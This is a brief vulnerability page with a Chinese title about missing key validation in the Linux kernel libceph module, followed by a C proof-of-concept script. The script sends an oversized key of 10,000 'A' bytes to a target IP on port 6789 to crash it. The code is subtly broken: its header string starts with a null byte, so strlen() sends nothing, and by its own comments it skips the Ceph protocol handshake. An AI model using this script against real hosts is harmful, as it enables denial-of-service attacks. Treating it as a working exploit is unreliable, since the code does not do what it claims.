CVE-2026-43304 Linux内核libceph模块密钥验证缺失漏洞

/* * PoC for CVE-2026-43304 (Conceptual) * This script attempts to trigger the buffer overflow in libceph * by sending a crafted authentication request with an oversized key. * Note: Actual exploitation requires a valid Ceph protocol handshake. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define TARGET_PORT 6789 void trigger_vulnerability(char *ip) { int sockfd; struct sockaddr_in server; char buffer[1024]; // Malformed payload simulating an oversized key // In a real scenario, this must adhere to Ceph binary protocol structure char *exploit_payload = "\x00\x00\x00\x01"; // Header placeholder char oversized_key[10000]; memset(oversized_key, 'A', sizeof(oversized_key)); sockfd = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; server.sin_port = htons(TARGET_PORT); server.sin_addr.s_addr = inet_addr(ip); if (connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("Connection failed"); return; } printf("[+] Sending malformed packet to %s...\n", ip); // Sending the payload (Simplified) send(sockfd, exploit_payload, strlen(exploit_payload), 0); send(sockfd, oversized_key, sizeof(oversized_key), 0); printf("[+] Payload sent. Check target for crash.\n"); close(sockfd); } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <target_ip>\n", argv[0]); return 1; } trigger_vulnerability(argv[1]); return 0; }